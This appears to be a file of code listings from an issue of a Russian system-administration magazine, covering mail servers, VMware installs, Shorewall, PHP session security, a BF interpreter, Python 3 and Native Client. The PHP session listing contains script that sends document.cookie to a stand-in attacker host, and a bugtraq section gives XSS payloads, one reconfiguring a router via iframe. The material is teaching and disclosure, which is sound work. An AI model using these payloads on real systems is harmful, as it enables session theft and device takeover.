Обзор бесплатных почтовых серверов для операционных систем семейства Windows
Алексей Бережной

c:\telnet mail.test.ru 25


cd c:\MailRoot\bin


xmail.exe --install-auto


net start "XMail Server"


XMCrypt {plain_password}


telnet 10.0.0.249 25


xmail.exe –-install-auto


telnet 10.0.0.249 25

-----------------------------------------------------------------------------------------------------------------

Графические инструменты для Server Core
Сергей Яремчук

> expand CoreConfigurator.cab -f:* C:\

-----------------------------------------------------------------------------------------------------------------

VMware Workstation 6.5. Способы установки
Иван Коробко

%SystemRoot%\System32\ msiexec.exe  /i  "VMware Workstation.msi"


VMware-workstation-6.5.0-118166.exe /a /v " /qn TARGETDIR=" W:\VmWare Workstation 6.5""


VMware-workstation-<xxxxxx>.exe


%SystemRoot%\System32\msiexec.exe [keys] VMware Workstation.msi


%SystemRoot%\System32\msiexec.exe /fa /qn /jm  SERIALNUMBER=XXXXX-XXXXX-XXXXX-XXXXX VMware Workstation.msi


%SystemRoot%\System32\msiexec.exe /fa /qn /jm  VMware Workstation.msi


VMware-workstation-<xxxxxx>.exe  /v "/fa /qn /jm  SERIALNUMBER=XXXXX-XXXXX-XXXXX-XXXXX"

-----------------------------------------------------------------------------------------------------------------

Slack – автоматизируем настройку сервисов
Алексей Коробкин

# slack ldapslave kdcslave ircserver


[slack]
	path = /var/slack
	comment = my slack repo


SOURCE=slack-master::slack


SOURCE=slack-master:/var/slack


# cd /var/slack/roles/ircbot/files
# mkdir -p home/ircbot/.irssi
# touch home/ircbot/.irssi/config


# cd /var/slack/roles/ircbot/files
# cat home/ircbot/.irssi/config

settings = {
	core = {
		real_name = "IRC Bot";
		user_name = "ircbot";
		nick = "+ircbot+";
	};
};


#!/bin/sh

# Обновить список пакетов
apt-get update

# Установить irssi
apt-get install irssi

# Создать свою группу для учётной записи ircbot 
groupadd ircbot

# Создать учётную запись ircbot, домашний каталог для неё, добавить в группу ircbot
useradd -g ircbot -c "IRC Bot" -m -d /home/ircbot ircbot


#!/bin/sh

# Исправить права на каталог .irssi 
chown -R ircbot:ircbot /home/ircbot/.irssi

# Отчитаться о завершении установки
echo "IRC Bot installation has been done."


# slack ircbot

-----------------------------------------------------------------------------------------------------------------

Решаем проблемы с установкой и удалением драйвера защиты
Андрей Луконькин

hinstall.exe -info


hinstall.exe -i


[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Home Edition RU" /fastdetect 
/usepmtimer /NoExecute=OptIn


[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Home Edition RU" /fastdetect 
/usepmtimer /NoExecute=AlwaysOff

-----------------------------------------------------------------------------------------------------------------

Внедряем смарт-карты в домене
Станислав Шпак

<% If bNewThanNT4 And "Enterprise"=sServerType Then %>
<TR>
	<TD><Img Src="certspc.gif" Alt="" Height=10 Width=1></TD>
</TR>
<TR>
	<TD><A Href="certsces.asp"><LocID ID=locLblSmartcard>
	Request a certificate for a smart card on behalf of another user
	by using the smart card certificate enrollment station.</LocID></A>
	<LocID ID=locAdminWarn><Font Size=-1><BR>
	Note: You must have an enrollment agent certificate to submit a
	request on behalf of another user.</Font></LocID>
	</TD>
</TR>
<%End If%>

-----------------------------------------------------------------------------------------------------------------

Shorewall: iptables с человеческим лицом
Валентин Синицын

#ZONE	TYPE	OPTIONS		IN	OUT
#			     OPTIONS	OPTIONS
fw	firewall
net	ipv4
loc	ipv4


#SOURCE	DEST	POLICY	LOG LEVEL	   LIMIT:BURST
loc		net	ACCEPT
all		all	REJECT	info


#SOURCE	DEST	POLICY	LOG LEVEL	   LIMIT:BURST
loc		net	ACCEPT
net		all	DROP	info
all		all	REJECT	info


#ZONE INTERFACE   BROADCAST   OPTIONS
net   th0         detect      dhcp,tcpflags,routefilter,nosmurfs,logmartians
loc   eth1        detect      tcpflags,nosmurfs


#INTERFACE  SOURCE  ADDRESS  PROTO  PORT(S)  IPSEC  MARK
eth0        eth1


#ACTION     SOURCE  DEST PROTO  DEST SOURCE  ORIGINAL RATE  USER/ MARK
#                               PORT PORT(S) DEST     LIMIT GROUP
DNS/ACCEPT   $FW     net
SSH/ACCEPT   loc     $FW
Ping/ACCEPT  loc     $FW
Ping/DROP    net     $FW

ACCEPT       $FW     loc        icmp
ACCEPT       $FW     net        icmp


#ACTION	SOURCE		DEST	PROTO DEST	SOURCE	RATE	USER/
#				PORT(S)		PORT(S) 	LIMIT	GROUP
PARAM	-	-	udp	53
PARAM	-	-	tcp	53


#ACTION	SOURCE			DEST
ICQ/LOG:info 	loc:!192.168.0.10		net
ICQ/REJECT	loc:!192.168.0.10		net


# shorewall start


# shorewall check


# shorewall show


#ACTION    SOURCE DEST   PROTO DEST   SOURCE  ORIGINAL
#                              PORT   PORT(S) DEST
REDIRECT loc      3128   tcp   www      -     !192.168.0.2


#ACTION SOURCE DEST            PROTO  DEST  SOURCE  ORIGINAL RATE
#                                     PORT  PORT(S) DEST     LIMIT
DNAT    net    loc:192.168.0.2 tcp    http  -       -        3/sec:10


#ACTION SOURCE   DEST        PROTO DEST    SOURCE  ORIGINAL
#                                  PORT    PORT(S) DEST
DNAT-   loc      net:1.2.3.4  tcp  25      -       192.168.0.1


ROUTER_IP=192.168.0.1
SMTP=$(get_current_smtp)


#ACTION SOURCE  DEST      PROTO DEST    SOURCE  ORIGINAL
#                               PORT    PORT(S) DEST
DNAT-   loc     net:$SMTP tcp   25      -       $ROUTER_IP

-----------------------------------------------------------------------------------------------------------------

Безопасная работа с сессиями в PHP
Антон Гришан

<?php 
// Секретное значение, используется для построения подписи браузера 
define('SESSION_BROWSER_SIGN_SECRET',  '@w434253254s9'); 

/* 
 * Функция для построения подписи браузера 
 * 
 * @return string подпись браузера 
 */ 
function getBrowserSign()    { 
    /* Добавим секретное значение, чтобы по подписи 
     * браузера злоумышленник не мог перебором найти 
     * необходимое значение HTTP-заголовка */
    $rawSign = SESSION_BROWSER_SIGN_SECRET; 
     
    /* Список элементов массива $_SERVER, значение 
     * которых необходимо использовать для вычисления 
     * построения подписи браузера */
    $signParts = array('HTTP_USER_AGENT'); 

    foreach($signParts as $signPart)    { 
        $rawSign.= '::'.(isset($_SERVER[$signPart]) ? $_SERVER[$signPart] : 'none'); 
    } 

return(md5($rawSign)); 
} 
?>


<?php
// Ключ для хранения подписи браузера
define('SESSION_BROWSER_SIGN_KEYNAME', 'session.app.browser.sign'); 

// Защита сессии с помощью подписи браузера 
session_start(); 

// Вычислим подпись браузера для текущего пользователя 
$currentBrowserSign = getBrowserSign(); 

if(isset($_SESSION[SESSION_BROWSER_SIGN_KEYNAME]))    { 
     
    // Сравниваем подпись пользователя со значением из сессии 
    if($currentBrowserSign != ?
	     $_SESSION[SESSION_BROWSER_SIGN_KEYNAME])    { 
        session_destroy(); 
        $_SESSION = array();         
        die('Попытка взлома!'); 
    } 
     
} else {
    /* Создана новая сессия. Сохраним подпись браузера 
     * для дальнейшей идентификации владельца сессии */
    $_SESSION[SESSION_BROWSER_SIGN_KEYNAME] = $currentBrowserSign; 
} 
?>


<?php 
    // Использовать только cookie для передачи идентификатора сессии
    @ini_set('session.use_trans_sid', false); 
    @ini_set('session.use_only_cookies', true); 

    session_start();
?>


session.use_trans_sid = 0
session.use_only_cookies = 1


<?php 
session_start(); 
?>

<html>
<head>
	<title>Пример 1: Доступ к PHPSESSID с помощью JavaScript</title>
</head>
	<body>
	    <script>
		// PHPSESSID содержит идентификатор сессии
		alert(document.cookie);

// Осуществляем кражу сессии путем передачи значений 
// cookie скрипту злоумышленника (атака кража «сессии»)
window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

		// Кроме того, злоумышленник может изменить идентификатор сессии 
		// (атака «подмена сессии»)
		document.cookie="PHPSESSID=hacked";

		// Теперь идентификатор сессии пользователя модифицирован
		alert(document.cookie);
	    </script>
	</body>


<?php 
// Используем HTTP-only cookie для хранения идентификатора сессии
session_set_cookie_params(0, ‘/’, ‘’, false, true);
session_start(); 
?>

<html>
<head>
	<title>Пример 2: Защита PHPSESSID с помощью http only</title>
</head>
	<body>
	    <script>
		// PHPSESSID не доступна здесь
		alert(document.cookie);

// Украсть идентификатор сессии не удается
window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

		// Не удается изменить идентификатор сессии
		document.cookie="PHPSESSID=hacked";

		// Ничего сделать не удалось
		alert(document.cookie);
	    </script>
	</body>


<?php
session_start();

// Проверим, создана новая сессия или нет
if(!isset($_SESSION['createDate'])) {
	// Создана новая сессия, регенерируем идентификатор сессии
	session_regenerate_id(true);
$_SESSION['createDate'] = time();
}

// Авторизация пользователя
if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){ 
    // Пользователь авторизован, необходимо изменить идентификатор сессии
    session_regenerate_id(true); 
    $_SESSION['isAdmin'] = true; 
    echo 'Вы успешно прошли авторизацию'; 
     
} else { 
    $_SESSION['isAdmin'] = false; 
    echo 'Ошибка в имени или пароле!'; 
} 
?>


<?php 
/* Класс для управления сессиями */
class Session { 

    const browserSignRandHash = 'W2452Sfdxrf3#'; 
    const browserSignKeyName  = '__app_session_fp'; 
     
    const cookieName = 'PSID'; // Имя cookie сессии 
    const lifetime   = 0; // Cookie существует до закрытия окна браузера
    const path       = '/'; // Путь cookie 
    const domain     = ''; // Домен
    const secure     = false; // Использовать HTTPS 
                              // для установки cookie
    const httponly   = true; // Использовать HTTP-only cookie 
     
    /* Метод для старта сессии */
    public static function start()    { 

        // Принимать идентификатор сессии только из cookie 
        // (лучше прописать соответствующие директивы в php.ini)
        @ini_set('session.use_trans_sid', false); 
        @ini_set('session.use_only_cookies', true); 
         
        // Устанавливаем собственное имя cookie, хранящей ID сессии
        session_name(self::cookieName); 
         
        // Задаем параметры cookie для хранения идентификатора сессии 
        session_set_cookie_params(self::lifetime, self::path, self::domain, self::secure, self::httponly); 
         
        session_start(); 
         
        // Вычисляем подпись браузера 
        $browserSign = self::getBrowserSign(); 
         
        // новая сессия или нет 
        if(isset($_SESSION[self::browserSignKeyName]))  { 
             
            // Проверим подпись браузера и значение 
            // из сессии 
            if($_SESSION[self::browserSignKeyName] != $browserSign)    { 
                 
                // Попытка взлома 
                $error = 'Browser sign do not match: in session = ['.$_SESSION [self::browserSignKeyName].'] users = ['.$browserSign.']'; 
                 
                // уничтожаем сессию
                self::destroy(); 
                 
                // Обрабатываем ошибку
                die($error);  
            } 
             
        } else { 
            // Создана новая сессия 
            $_SESSION[self::browserSignKeyName] = $browserSign;
             
            // Изменяем идентификатор сессии 
            self::changeId(); 
        } 
         
         
    } 
     
    public static function changeId(){ 
        session_regenerate_id(true); 
    } 
     
    public static function destroy() { 
        session_unset(); 
        session_destroy(); 
        $_SESSION = array(); 
    } 
     
    private static function getBrowserSign()    { 
        return MD5(self::browserSignRandHash.':'.$_SERVER['HTTP_USER_AGENT']); 

    } 
} 
?>


<?php
// Пример использования класса для управления сессиями
include “Session.php”;

Session::start();

if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){
    Session::changeId();
    $_SESSION['isAdmin'] = true;
    echo 'Вы успешно прошли авторизацию';
     
} else { 
    $_SESSION['isAdmin'] = false; 
    echo 'Ошибка в имени или пароле!';
} 
?>

-----------------------------------------------------------------------------------------------------------------

Обманчивая простота языка BF: генезис или мутация?
Алексей Вторников

,.


[[][[[]]]]


[[][]]]
[[[][]]


>+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.[-]>++++++++  [<++++>-]<.>+++++++++++[<+++++>-]<.>++++++++[<+++>-]<.+++.------.--------.[-] >++++++++[<++++>-]<+.[-]++++++++++.


// Интерпретатор BrainFuck
import java.io.*;

public class BrainFuck {
    private final int MEMORY_SIZE = 32767; // Объем памяти
    private char [] code; // Текст программы
    private byte [] memory; // Память
    private int pc; // Программный счетчик
    private int pointer; // Текущая ячейка памяти
    private int level; // Уровень вложенности [ и ]

    // Конструктор класса
    public BrainFuck (File f) throws IOException {
        code = open (f).toCharArray ();
        cleanCode ();
        checkBrackets ();
        // Инициализировать память и программный счетчик
        memory = new byte [MEMORY_SIZE];
        for (int i = 0; i < MEMORY_SIZE; i++) memory [i] = 0;
        pc = pointer = l = 0;
        interpret ();
    }

    // Собственно, интерпретатор
    private void interpret () {
        for (pc = 0; pc < code.length; pc++) {
            switch (code [pc]) {
              case '>': incrementPointer ();       break;
              case '<': decrementPointer ();       break;
              case '+': incrementByteAtPointer (); break;
              case '-': decrementByteAtPointer (); break;
              case '.': output ();                 break;
              case ',': input ();                  break;
              case '[': startJump ();              break;
              case ']': endJump ();                break;
            }
        }
    }

    // Указатель на ячейку вправо
    public void incrementPointer () {
        if (++pointer > MEMORY_SIZE)
           System.out.println ("Выход за пределы памяти: " + MEMORY_SIZE);
    }

    // Указатель на ячейку влево
    public void decrementPointer () {
        if (--pointer < 0)
           System.out.println ("Ошибка адресации указателя");
    }

    // Увеличить значение ячейки под указателем на 1
    public void incrementByteAtPointer () {
        ++memory [pointer];
    }
  
    // Уменьшить значение ячейки под указателем на 1
    public void decrementByteAtPointer() {
        --memory [pointer];
    }

    // Распечатать содержимое ячейки памяти под указателем
    public void output () {
        byte [] out = {memory [pointer]};
        String s = new String (out);
        System.out.print(s);
    }

    // Ввести значение в ячейку памяти под указателем
    public void input () {
        BufferedReader stream = new BufferedReader (new InputStreamReader (System.in));
        try {
            String str = stream.readLine ();
            byte [] in = str.getBytes ();
            memory [pointer] = in [0];
        } catch (IOException e) {System.out.println ("Ошибка чтения");}
    }

    // // Если 0, то сдвинуться вперед до парной «]»
    public void startJump () {
        if (memory [pointer] == 0) {
           pc++;
           while (level > 0 || code [pc] != ']') {
                 if (code [pc] == '[') level++;
                 if (code [pc] == ']') level--;
                 pc++;  
          }
        }
    }

    // Если не 0, то сдвинуться назад к парной «[»
    public void endJump () {
        if (memory [pointer] != 0) {
           pc--;
           while (level > 0 || code [pc] != '[') {
                 if (code [pc] == ']') level++;
                 if (code [pc] == '[') level--;
                 pc--;   
           }
        }
    }

    // Открыть файл с исходным текстом программы на BrainFuck
    private String open (File f) {
        String s = "";

        try {
            String line = "";
            BufferedReader br = new BufferedReader (new FileReader (f));
            while ((line = br.readLine ()) != null) {
                  if (line.length () > 0) {
                     line = line.trim ();
                  }
                  s += line;
            }
            br.close();
            } catch (IOException ioe) {
                 ioe.printStackTrace (); System.exit (0);
            }
            return s;
    }

    // Удалить из исходного текста программы «лишние» символы
    private void cleanCode () {
        String newCode = "";

        for (int i = 0; i < code.length; i++) {
            if (code [i] == '.' || code [i] == ',' ||
                code [i] == '+' || code [i] == '-' ||
                code [i] == '<' || code [i] == '>' ||
                code [i] == ']' || code [i] == '[') {
                newCode += code [i];
            }
        }
        code = newCode.toCharArray ();
    }

    // Проверить баланс скобок "[" и "]"
    public void checkBrackets () {
        int counter = 0;

        for (int i = 0; i < code.length; i++) {
            switch (code [i]) {
                   case '[': counter++; break;
                   case ']': counter--; break;
            }
        }
        // Если counter не 0, то скобки «[» и «]» несбалансированы
        if (counter > 0) {
            System.out.println ("Слишком много [");
            System.exit (0);
        }
        if (counter < 0) {
            System.out.println ("Слишком много ]");
            System.exit (0);
        }
    }

    // Точка входа...
    public static void main (String [] args) {
        if (args.length > 0) {
           try {new BrainFuck (new File (args [0]));}
           catch (IOException ioe) {
               ioe.printStackTrace ();
               System.exit (0);
               }
        } else {
           System.out.println ("Синтаксис: java BrainFuck исходный_файл");
           System.exit (0);}
    }
}

-----------------------------------------------------------------------------------------------------------------

С новым Python 3000!
Сергей Супрунов

print >>sys.stderr, 'Error'


print('Error', file=sys.stderr)


>>> print(1, 2, 3)

>>> print(1, 2, 3, sep='->', end='!!!\n')


(2.5)>>> print 'Один', 'Два\n', 'Новая строка'

(3.0)>>> print('Один', 'Два\n', 'Новая строка')


print 'Итого: %d' % total


print('Итого: {0} {1}'.format(total, currency))


print('Итого: {sum} {0}'.format(currency, sum=total)


>>> format(2/3, '8.3f')


>>> 1.2.__format__('.5f')


>>> 0o640

>>> 0640


>>> print range(5)

>>> print xrange(5)


>>> d = {'a': 'A', 'b': 'B', 'c': 'C'}
>>> d.keys()

>>> list(d.keys())


>>> 'a' in d

>>> 'A' in d


#!/usr/local/bin/python
# -*- coding: koi8-r -*-


open(file, 'rb')


>>> raise 'Error message'

>>> raise Exception, 'Error message'

>>> raise Exception('Error message')


raise Exception, message, traceback


raise Exception(message)


except Exception, var


except Exception as var


raise Exception() from exceptvar


>>> s = 'serg:*:1006:1006:Suprunov:/home/serg:/usr/local/bin/bash'
>>> login, *tmp, shell = s.split(':')
>>> login

>>> shell

>>> tmp


tariffs = set(('Повремённый', 'Комбинированный', 'Безлимитный'))


tariffs = {'Повремённый', 'Комбинированный', 'Безлимитный'}


python -3 script.py

-----------------------------------------------------------------------------------------------------------------

Почему стоит использовать механизм обработки исключений в PHP
Антон Гришан

<?php
/* Метод осуществляет подключение к серверу MySQL, в случае ошибки завершает работу программы */
public function connect($dbName, $host, $port, $login, $password, $charset)	{
	.......
	$db = new mysqli($host, $login, $password, $dbName, $port);
	
	// Проверяем, возникла ли ошибка в ходе подключения к БД
	if(($errorCode = mysqli_connect_errno()) != 0)	{
		die("Can't connect to DB: [".$errorCode."] ".mysqli_connect_error());
	}
	.......
	// Устанавливаем кодировку, которую будем использовать для общения с БД
	if(!$db->set_charset($charset))	{
		// Установить нужную кодировку не удалось
		die("Сan't set charset [".$charset."]");
	}
	.......
}
?>


<?php
/* Метод осуществляет подключение к серверу MySQL, в случае ошибки возвращает FALSE */
public function connect($dbName, $host, $port, $login, $password, $charset)	{
	.......
	$db = new mysqli($host, $login, $password, $dbName, $port);
	
	// Проверяем, возникла ли ошибка в ходе подключения к БД
	if(($errorCode = mysqli_connect_errno()) != 0)	{
		return(false);
	}
	.......
	// Устанавливаем кодировку, которую будем использовать для общения с БД
	if(!$db->set_charset($charset))	{
		// Установить нужную кодировку не удалось
		return(false);
	}
	.......
return(true);
}
?>


<?php
/* Метод осуществляет подключение к серверу MySQL, в случае ошибки, возвращает код ошибки */
public function connect($dbName, $host, $port, $login, $password, $charset)	{

define('SUCCESS',    0);
	define('ERROR_DB_CONNECTION', 1);
	define('ERROR_DB_CHARSET',    2);

	.......
	$db = new mysqli($host, $login, $password, $dbName, $port);
	
	// Проверяем, возникла ли ошибка в ходе подключения к БД
	if(($errorCode = mysqli_connect_errno()) != 0)	{
		return(ERROR_DB_CONNECTION);
	}
	.......
	// Устанавливаем кодировку, которую будем использовать для общения с БД
	if(!$db->set_charset($charset))	{
		// Установить нужную кодировку не удалось
		return(ERROR_DB_CHARSET);
	}
	.......
return(SUCCESS);
}
?>


<?php
/* Метод осуществляет подключение к серверу MySQL, в случае ошибки, бросает исключение */
public function connect($dbName, $host, $port, $login, $password, $charset)	{

	.......
	$db = new mysqli($host, $login, $password, $dbName, $port);
	
	// Проверяем, возникла ли ошибка в ходе подключения к БД
	if(($errorCode = mysqli_connect_errno()) != 0)	{
		throw new Exception("Can't connect to DB: [".$errorCode."] ".mysqli_connect_error());
	}
	.......
	// Устанавливаем кодировку, которую будем использовать для общения с БД
	if(!$db->set_charset($charset))	{
		// Установить нужную кодировку не удалось
		throw new Exception("Сan't set charset [".$charset."]");
	}
	.......
}
?>


<?php
try {
	/* Внутри блока try находится код, исполнение которого 
	 * может привести к возникновению исключения
	 */

	$db = new MyDBClass (); 

	// Код метода connect() см. в примере 4
$db-> connect('main_db', 'localhost', 3306, 'root', 'parol', 'utf8');

} catch (Exception $e) {
	/* Здесь мы перехватываем и обрабатываем исключения, 
	 * возникшие в ходе выполнения кода в блоке try
	 */
	echo 'Error: '. $e->getMessage().' Line: '. ?
		$e->getLine();
}

?>


<?php
	$error1 = new Exception();
$error2 = new Exception('File data.dat is not find!');
$error3 = new Exception('File data.dat is not find!', 1234);
?>


<?php
// Создадим объект Exception и попробуем извлечь максимум информации
$error = new Exception('Test PHP exceptions', 2009);

// Сообщение об ошибке
echo $error->getMessage();

// Код ошибки
echo $error->getCode();

// Файл, где произошла ошибка
echo $error->getFile();

// Номер строки, где было сгенерировано исключение
echo $error->getLine();

// Стек вызова функций до момента генерации исключения в виде строки
echo $error->getTraceAsString();

// Стек вызова функций до момента генерации исключения в виде массива
var_dump($error->getTrace());
?>


<?php
// Объявим функцию, которой PHP будет передавать данные о возникших ошибках
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
	throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

// Назначим нашу функцию в качестве обработчика ошибок
set_error_handler("exception_error_handler");

// Попробуем вызвать функцию с неправильным количеством аргументов
strpos();
?>


<?php
try {
	// Некая функция, исполнение которой может привести к генерации исключения
	runMyFunction();
} catch (DataBaseException $e){
	// Обработаем исключения, принадлежащие к классу DataBaseException
} catch (ErrorException $e){
// Обработаем исключения, принадлежащие к классу ErrorException
} catch (Exception $e){
	// Обработаем исключения, принадлежащие Exception, т.е. любое исключение, 
	// не пойманное в предыдущих блоках catch
}
?>


<?php
define(DEFAULT_DB_CHARSET, ‘utf8’);
……
public function connect($dbName, $host, $port, $login, $password, $charset)	{

	$supportedCharset = array('cp1251', 'latin1', 'utf8');
	
	// часть кода пропущена
	try {
	    // Проверяем возможность использования кодировки, переданной в параметре
	    if(!in_array($charset, $supportedCharset))	{
		// Кодировка, переданная в параметре $charset, не поддерживается 
		throw new Exception("Кодировка [".$charset."] не поддерживается");
		}
	} catch(Exception $e) {
	    // Используем стандартную кодировку
	    $charset =  DEFAULT_DB_CHARSET;
	}
}
?>


<?php
define(DEFAULT_DB_CHARSET, ‘utf8’);
……
public function connect($dbName, $host, $port, $login, $password, $charset)	{

// часть кода пропущена

$supportedCharset = array('cp1251', 'latin1', 'utf8');

// Проверяем возможность использования кодировки, переданной в параметре
if(!in_array($charset, $supportedCharset))	{
	// Используем стандартную кодировку
	$charset =  DEFAULT_DB_CHARSET;
       }
        
}
?>


<?php
class DataBaseException extends Exception {

	public function __construct($message, $code = 0)   {
	    // Вызываем конструктор родительского класса
	    parent:: __construct($message, $code);
	    
	    // Сообщаем о произошедшей ошибке
	    $this->report();
	}

	private function report(){
	    // посылаем письмо администратору
	}
}
?>

-----------------------------------------------------------------------------------------------------------------

bugtraq, стр. 79

http://[host]/exec/"><body onload="alert('bug');">


http://[host]/exec/"><iframe src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR"> 

-----------------------------------------------------------------------------------------------------------------

Native Client – Rich Internet Applications от Google
Кирилл Сухов

python run.py


./scons --prebuilt firefox_install


.\scons --prebuilt firefox_install


<HTML>
<HEAD>
<TITLE>Some Demo</TITLE>
<script type="text/javascript">
var nacl_elt;
// Before scripting the loaded module, ensure the Native 
// Client module is loaded.
var startupTimeout;
var PostLoadInit = function() {
  if (nacl_elt.__moduleReady == 1) {
    clearTimeout(startupTimeout);
    nacl_elt.focus();
  } else {
    if (nacl_elt.__moduleReady == undefined) {
      alert('The Native Client plugin was unable to load');
      return;
    }
    startupTimeout = setTimeout(PostLoadInit, 100);
  }
}

// Init is called when the document has completed loading. 
// It downloads the NativeClient modules.

var Init = function() {
  // service_url contains the location of the NativeClient 
  // module to be loaded as a service.
  nacl_elt = document.getElementById('embed1');
  PostLoadInit();
}
</script>
</HEAD>
<BODY id="bodyId" onload="Init();" >
<h1>SomeDemo</h1>
 <p>
    Some text
</p><embed id="embed1" src="some_demo.nexe" type="application/x-nacl-srpc" width=512 height=512>
<br>
<script>
var embed1 = document.getElementById('embed1');
</script>
</BODY>
</HTML>


make debug run


make release nacl


./xaos_tool.sh all


wget http://www.libsdl.org/projects/quake/src/sdlquake-1.0.9.tar.gz
...
wget http://www.libsdl.org/projects/quake/data/quakesw-1.0.6.tar.gz
...


tar -x --strip-components=1 -f sdlquake-1.0.9.tar.gz
...
tar -x -f quakesw-1.0.6.tar.gz
...


patch -p1 <nacl_quake.patch


make clean nacl
make debug nacl
make release nacl

-----------------------------------------------------------------------------------------------------------------